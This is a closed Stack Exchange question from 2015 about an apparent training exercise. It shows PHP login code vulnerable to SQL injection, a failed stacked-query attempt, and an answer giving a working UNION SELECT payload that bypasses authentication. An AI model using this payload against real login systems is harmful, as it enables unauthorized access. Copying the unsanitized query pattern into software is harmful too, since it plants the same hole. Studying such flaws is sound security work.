First, sorry if my issue is a duplicate! This is an exercise that I can not solve.

It is an authentication, simply. But the problem is that the application does not check both the password and nickname. A code is worth a thousand words:

if ( isset($_POST) && (!empty($_POST['login'])) && (!empty($_POST['password'])) ) {
  $sql = "SELECT password FROM auth WHERE login = '". $_POST["login"] ."'";
  $req = mysql_query($sql) or die(mysql_error());

  if (mysql_num_rows($req) > 0) {
     $data = mysql_fetch_assoc($req);
     if ($_POST["password"] == $data['password']) {
        $_SESSION['logged'] = 1;

As regards the scheme of the database, all I know is that it has the LOGIN and PASSWORD field and the password is not hashed.

My initial idea is to cut the SELECT and INSERT to add just after my own admin, because I do not see how overstep the query as usual it could be admin'; #

I have try : admin'; INSERT INTO auth (login, password) VALUES ('admin2', 'test');# But.... doesn't work ! Can you help me ?


closed as off-topic by Jens Erat, Mark, Xander, RoraΖ, TildalWave Jan 12 '15 at 9:30

This question appears to be off-topic. The users who voted to close gave this specific reason:

  • "Questions asking us to break the security of a specific system for you are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem." – Jens Erat, Mark
If this question can be reworded to fit the rules in the help center, please edit the question.

  • 1
    what's the question, Socket ? – user45139 Jan 11 '15 at 12:53

You can use UNION SELECT to supply any value as a password:

noone' UNION SELECT 'pwd

The query will become

SELECT password FROM auth WHERE login = 'noone' UNION SELECT 'pwd'

Make sure to submit the same password via POST

Not the answer you're looking for? Browse other questions tagged or ask your own question.